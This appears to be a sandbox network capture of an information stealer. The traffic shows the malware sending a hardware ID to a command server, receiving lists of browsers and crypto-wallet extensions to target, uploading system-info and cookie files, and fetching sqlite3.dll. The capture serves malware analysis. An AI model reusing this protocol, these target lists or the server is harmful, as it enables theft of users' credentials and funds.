Oct 30, 2024 11:45:07.680093050 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 37 39 30 30 39 43 45 35 36 33 37 34 38 31 34 30 37 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 2d 2d 0d 0a Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="hwid"8179009CE563748140731------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="build"tale------AKKKFBGDHJKFHJJJJDGC--
Oct 30, 2024 11:45:07.980511904 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 55 31 4d 7a 6c 6a 4e 54 46 6b 4f 44 59 33 5a 6a 4e 69 4e 47 5a 6a 4f 54 4d 35 4d 54 56 6c 4d 44 41 79 4e 47 55 30 59 54 4d 33 4e 6d 4a 6a 4e 7a 4d 31 4d 57 52 6b 4e 54 55 7a 4e 7a 59 33 59 7a 63 78 4d 54 59 32 4e 47 4d 79 59 54 68 6d 4d 44 4d 33 5a 44 67 33 4d 6a 56 6b 4d 32 5a 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmU1MzljNTFkODY3ZjNiNGZjOTM5MTVlMDAyNGU0YTM3NmJjNzM1MWRkNTUzNzY3YzcxMTY2NGMyYThmMDM3ZDg3MjVkM2ZmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 11:45:08.066361904 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"browsers------DHIDHIEGIIIECAKEBFBA--
Oct 30, 2024 11:45:08.354690075 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 11:45:08.354713917 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 11:45:08.364365101 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="message"plugins------BGDBAKFCFHCGDGCBAAKF--
Oct 30, 2024 11:45:08.655030012 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 11:45:08.655051947 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 30, 2024 11:45:08.655082941 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 30, 2024 11:45:08.655098915 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 30, 2024 11:45:08.655119896 CET	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 30, 2024 11:45:08.655138016 CET	1236	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 30, 2024 11:45:08.655716896 CET	952	IN	Data Raw: 4d 48 78 49 51 56 5a 42 53 43 42 58 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 Data Ascii: MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl
Oct 30, 2024 11:45:08.657263041 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="message"fplugins------AKKEHIECFCAAFIEBGIDA--
Oct 30, 2024 11:45:08.944974899 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 11:45:08.963404894 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDB Host: 185.215.113.206 Content-Length: 7119 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:45:08.963454008 CET	7119	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 Data Ascii: ------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 11:45:09.785708904 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:10.039273977 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 11:45:10.327512026 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 11:45:10.327580929 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 30, 2024 11:45:10.327600956 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49790	185.215.113.206	80	5008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:45:23.463344097 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:45:23.463502884 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 11:45:24.907824039 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
